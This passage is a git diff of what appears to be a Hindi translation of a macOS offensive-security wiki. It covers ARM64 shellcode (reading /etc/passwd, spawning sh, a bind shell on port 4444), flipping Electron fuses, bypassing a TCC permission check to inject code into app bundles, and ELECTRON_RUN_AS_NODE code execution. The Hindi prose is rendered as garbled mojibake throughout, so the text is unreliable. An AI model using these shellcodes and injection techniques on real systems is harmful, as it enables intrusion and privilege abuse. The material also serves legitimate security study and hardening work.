рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ `/tmp/msgSends-pid` рдлрд╝рд╛рдЗрд▓ рдореЗрдВред > -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **`OBJC_HELP=1`** рд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рднреА рдмрд╛рдЗрдирд░реА рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдЖрдк рдЕрдиреНрдп рд╡рд╛рддрд╛рд╡рд░рдг рд╡реЗрд░рд┐рдПрдмрд▓ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк **log** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдХреБрдЫ Objc-C рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **`OBJC_HELP=1`** рд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рднреА рдмрд╛рдЗрдирд░реА рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдЖрдк рдЕрдиреНрдп рдкрд░реНрдпрд╛рд╡рд░рдг рд╡реЗрд░рд┐рдПрдмрд▓ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк **log** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдХреБрдЫ Objc-C рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВред -рдЬрдм рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдХреЗ рдХреЙрд▓ рдХрд┐рдП рдЧрдП рддрд░реАрдХреЗ рдХреЛ рдвреВрдВрдврдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдЦреЛрдЬреЗрдВ рдХреА рдЬрд╛рддреА рд╣реИрдВ: +рдЬрдм рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдХреЗ рдХреЙрд▓ рдХрд┐рдП рдЧрдП рдореЗрдердб рдХреЛ рдвреВрдВрдврдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдЦреЛрдЬреЗрдВ рдХреА рдЬрд╛рддреА рд╣реИрдВ: - рдЖрд╢рд╛рд╡рд╛рджреА рдХреИрд╢ рд▓реБрдХрдЕрдк рдХрд░реЗрдВ: - рдпрджрд┐ рд╕рдлрд▓, рддреЛ рд╕рдорд╛рдкреНрдд -- runtimeLock (рдкрдврд╝реЗрдВ) рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +- runtimeLock рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ (рдкрдврд╝реЗрдВ) - рдпрджрд┐ (realize && !cls->realized) рдХреНрд▓рд╛рд╕ рдХреЛ realize рдХрд░реЗрдВ - рдпрджрд┐ (initialize && !cls->initialized) рдХреНрд▓рд╛рд╕ рдХреЛ initialize рдХрд░реЗрдВ -- рдХреНрд▓рд╛рд╕ рдХреА рдЕрдкрдиреА рдХреИрд╢ рдХреЛ рдЖрдЬрдорд╛рдПрдВ: +- рдХреНрд▓рд╛рд╕ рдХреЗ рдЕрдкрдиреЗ рдХреИрд╢ рдХреЛ рдЖрдЬрдорд╛рдПрдВ: - рдпрджрд┐ рд╕рдлрд▓, рддреЛ рд╕рдорд╛рдкреНрдд - рдХреНрд▓рд╛рд╕ рдореЗрдердб рд╕реВрдЪреА рдХреЛ рдЖрдЬрдорд╛рдПрдВ: - рдпрджрд┐ рдкрд╛рдпрд╛ рдЧрдпрд╛, рддреЛ рдХреИрд╢ рднрд░реЗрдВ рдФрд░ рд╕рдорд╛рдкреНрдд @@ -393,7 +393,7 @@ whoami ### Shellcodes -рд╕рдВрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: +To compile: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh" #### рдХреИрдЯ рдХреЗ рд╕рд╛рде рдкрдврд╝реЗрдВ -рд▓рдХреНрд╖реНрдп рд╣реИ `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдЗрд╕рд▓рд┐рдП рджреВрд╕рд░рд╛ рддрд░реНрдХ (x1) рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдПрдХ рдРрд░реЗ рд╣реИ (рдЬреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдЗрдирдХрд╛ рдорддрд▓рдм рдкрддреЛрдВ рдХрд╛ рдПрдХ рд╕реНрдЯреИрдХ рд╣реИ)ред +рд▓рдХреНрд╖реНрдп рд╣реИ `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдЗрд╕рд▓рд┐рдП рджреВрд╕рд░рд╛ рддрд░реНрдХ (x1) рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдПрдХ рдРрд░реЗ рд╣реИ (рдЬреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдЗрдирдХрд╛ рдорддрд▓рдм рдкрддреЛрдВ рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ рд╣реИ)ред ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +565,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### рдПрдХ рдлреЛрд░реНрдХ рд╕реЗ sh рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдХреЛ рдЗрдирд╡реЛрдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдорд╛рдкреНрдд рди рд╣реЛ рд╕рдХреЗ +#### рдПрдХ рдлреЛрд░реНрдХ рд╕реЗ sh рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдорд╛рдкреНрдд рди рд╣реЛред ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +611,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell from [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **рдкреЛрд░реНрдЯ 4444** +**рдкреЛрд░реНрдЯ 4444** рдореЗрдВ [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) рд╕реЗ Bind shell ```armasm .section __TEXT,__text .global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index ba013e243..bb9175391 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -14,7 +14,7 @@ - **`RunAsNode`**: рдпрджрд┐ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рдпрд╣ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП env var **`ELECTRON_RUN_AS_NODE`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред - **`EnableNodeCliInspectArguments`**: рдпрджрд┐ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ `--inspect`, `--inspect-brk` рдЬреИрд╕реЗ params рдХрд╛ рд╕рдореНрдорд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕ рддрд░рд╣ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдирд╛ред - **`EnableEmbeddedAsarIntegrityValidation`**: рдпрджрд┐ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ **`asar`** **file** macOS рджреНрд╡рд╛рд░рд╛ **рдорд╛рдиреНрдп** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕ рддрд░рд╣ **рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди** рдХреЛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рд░реЛрдХрдирд╛ред -- **`OnlyLoadAppFromAsar`**: рдпрджрд┐ рдпрд╣ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд░рдо рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬрдиреЗ рдХреЗ рдмрдЬрд╛рдп: **`app.asar`**, **`app`** рдФрд░ рдЕрдВрддрддрдГ **`default_app.asar`**ред рдпрд╣ рдХреЗрд╡рд▓ app.asar рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ рдЬрдм **`embeddedAsarIntegrityValidation`** рдлреНрдпреВрдЬрд╝ рдХреЗ рд╕рд╛рде **рд╕рдВрдпреБрдХреНрдд** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рдЧреИрд░-рдорд╛рдиреНрдп рдХреЛрдб рд▓реЛрдб рдХрд░рдирд╛** **рдЕрд╕рдВрднрд╡** рд╣реИред +- **`OnlyLoadAppFromAsar`**: рдпрджрд┐ рдпрд╣ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд░рдо рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬрдиреЗ рдХреЗ рдмрдЬрд╛рдп: **`app.asar`**, **`app`** рдФрд░ рдЕрдВрддрддрдГ **`default_app.asar`**ред рдпрд╣ рдХреЗрд╡рд▓ app.asar рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ рдЬрдм **`embeddedAsarIntegrityValidation`** рдлреНрдпреВрдЬрд╝ рдХреЗ рд╕рд╛рде **рд╕рдВрдпреБрдХреНрдд** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рдЕрдорд╛рдиреНрдп рдХреЛрдб рд▓реЛрдб рдХрд░рдирд╛** **рдЕрд╕рдВрднрд╡** рд╣реИред - **`LoadBrowserProcessSpecificV8Snapshot`**: рдпрджрд┐ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЕрдкрдиреЗ V8 рд╕реНрдиреИрдкрд╢реЙрдЯ рдХреЗ рд▓рд┐рдП `browser_v8_context_snapshot.bin` рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдлреНрдпреВрдЬрд╝ рдЬреЛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рд░реЛрдХрдиреЗ рд╡рд╛рд▓рд╛ рдирд╣реАрдВ рд╣реИ: @@ -37,24 +37,24 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Modifying Electron Fuses +### Electron Fuses рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ -рдЬреИрд╕рд╛ рдХрд┐ [**docs рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди **Electron binary** рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЬрд╛рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХрд╣реАрдВ **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реЛрддреА рд╣реИред +рдЬреИрд╕рд╛ рдХрд┐ [**docs рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди **Electron binary** рдХреЗ рдЕрдВрджрд░ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХрд╣реАрдВ **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реЛрддреА рд╣реИред macOS рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ [https://hexed.it/](https://hexed.it/) рдореЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрд┐рдЫрд▓реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдмрд╛рдж рдЖрдк ASCII рдореЗрдВ рдПрдХ рд╕рдВрдЦреНрдпрд╛ "0" рдпрд╛ "1" рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдлреНрдпреВрдЬрд╝ рдЕрдХреНрд╖рдо рдпрд╛ рд╕рдХреНрд╖рдо рд╣реИред рдмрд╕ рд╣реЗрдХреНрд╕ рдХреЛрдб (`0x30` рдХрд╛ рдЕрд░реНрде `0` рд╣реИ рдФрд░ `0x31` рдХрд╛ рдЕрд░реНрде `1` рд╣реИ) рдХреЛ **рдлреНрдпреВрдЬрд╝ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВред +рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ [https://hexed.it/](https://hexed.it/) рдореЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрд┐рдЫрд▓реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдмрд╛рдж рдЖрдк ASCII рдореЗрдВ "0" рдпрд╛ "1" рд╕рдВрдЦреНрдпрд╛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдлреНрдпреВрдЬрд╝ рдЕрдХреНрд╖рдо рдпрд╛ рд╕рдХреНрд╖рдо рд╣реИред рдмрд╕ рд╣реЗрдХреНрд╕ рдХреЛрдб (`0x30` рдХрд╛ рдЕрд░реНрде `0` рдФрд░ `0x31` рдХрд╛ рдЕрд░реНрде `1`) рдХреЛ **рдлреНрдпреВрдЬрд╝ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрджрд▓реЗрдВред
-рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЗрди рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ **`Electron Framework` рдмрд╛рдЗрдирд░реА** рдХреЛ рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрдк рдирд╣реАрдВ рдЪрд▓реЗрдЧрд╛ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЗрди рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ **`Electron Framework`** рдмрд╛рдЗрдирд░реА рдХреЛ рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрдк рдирд╣реАрдВ рдЪрд▓реЗрдЧрд╛ред -## RCE рдХреЛрдб рдХреЛ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ +## RCE рдХреЛрдб рдЬреЛрдбрд╝рдирд╛ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдореЗрдВ -рдРрд╕рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдмрд╛рд╣рд░реА JS/HTML рдлрд╝рд╛рдЗрд▓реЗрдВ** рд╣реЛрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ Electron рдРрдк рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдирдХрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдирд╣реАрдВ рдЪреЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдРрдк рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдРрд╕реЗ **рдмрд╛рд╣рд░реА JS/HTML рдлрд╝рд╛рдЗрд▓реЗрдВ** рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ Electron рдРрдк рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдирдХрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдирд╣реАрдВ рдЪреЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдРрдк рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред > [!CAUTION] > рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╡рд░реНрддрдорд╛рди рдореЗрдВ 2 рд╕реАрдорд╛рдПрдБ рд╣реИрдВ: @@ -62,11 +62,11 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions > - рдПрдХ рдРрдк рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **`kTCCServiceSystemPolicyAppBundles`** рдЕрдиреБрдорддрд┐ **рдЖрд╡рд╢реНрдпрдХ** рд╣реИ, рдЗрд╕рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рдЕрдм рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред > - рд╕рдВрдХрд▓рд┐рдд **`asap`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЖрдорддреМрд░ рдкрд░ рдлреНрдпреВрдЬрд╝ **`embeddedAsarIntegrityValidation`** `рдФрд░` **`onlyLoadAppFromAsar`** `рд╕рдХреНрд╖рдо` рд╣реЛрддреЗ рд╣реИрдВ > -> рдЬрд┐рд╕рд╕реЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд░рд╛рд╕реНрддреЗ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ (рдпрд╛ рдЕрд╕рдВрднрд╡) рдмрдирд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +> рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд░рд╛рд╕реНрддреЗ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ (рдпрд╛ рдЕрд╕рдВрднрд╡) рдмрдирд╛ рд░рд╣рд╛ рд╣реИред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **`kTCCServiceSystemPolicyAppBundles`** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (рдЬреИрд╕реЗ **`/tmp`**) рдореЗрдВ рдХреЙрдкреА рдХрд░рдХреЗ, рдлрд╝реЛрд▓реНрдбрд░ **`app.app/Contents`** рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ **`app.app/NotCon`** рдХрд░рдирд╛, рдЕрдкрдиреЗ **рджреБрд╖реНрдЯ** рдХреЛрдб рдХреЗ рд╕рд╛рде **asar** рдлрд╝рд╛рдЗрд▓ рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рдирд╛, рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ **`app.app/Contents`** рдирд╛рдо рджреЗрдирд╛ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **`kTCCServiceSystemPolicyAppBundles`** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (рдЬреИрд╕реЗ **`/tmp`**) рдореЗрдВ рдХреЙрдкреА рдХрд░рдХреЗ, рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рдирд╛рдо **`app.app/Contents`** рд╕реЗ **`app.app/NotCon`** рдореЗрдВ рдмрджрд▓рдХрд░, рдЕрдкрдиреЗ **рджреБрд╖реНрдЯ** рдХреЛрдб рдХреЗ рд╕рд╛рде **asar** рдлрд╝рд╛рдЗрд▓ рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░рдХреЗ, рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ **`app.app/Contents`** рдирд╛рдо рджреЗрдХрд░ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗред -рдЖрдк asar рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреЛрдб рдХреЛ рдЕрдирдкреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк asar рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреЛрдб рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash npx asar extract app.asar app-decomp ``` @@ -74,7 +74,7 @@ npx asar extract app.asar app-decomp ```bash npx asar pack app-decomp app-new.asar ``` -## RCE with `ELECTRON_RUN_AS_NODE` +## RCE with ELECTRON_RUN_AS_NODE According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), рдпрджрд┐ рдпрд╣ env рд╡реЗрд░рд┐рдПрдмрд▓ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп Node.js рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ред ```bash @@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ ### рдРрдк рдкреНрд▓рд┐рд╕реНрдЯ рд╕реЗ рдЗрдВрдЬреЗрдХреНрд╢рди -рдЬреИрд╕рд╛ рдХрд┐ [**рдпрд╣рд╛рдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рд╣реИ**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), рдЖрдк рдЗрд╕ env рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ plist рдореЗрдВ рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЬреИрд╕рд╛ рдХрд┐ [**рдпрд╣рд╛рдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ 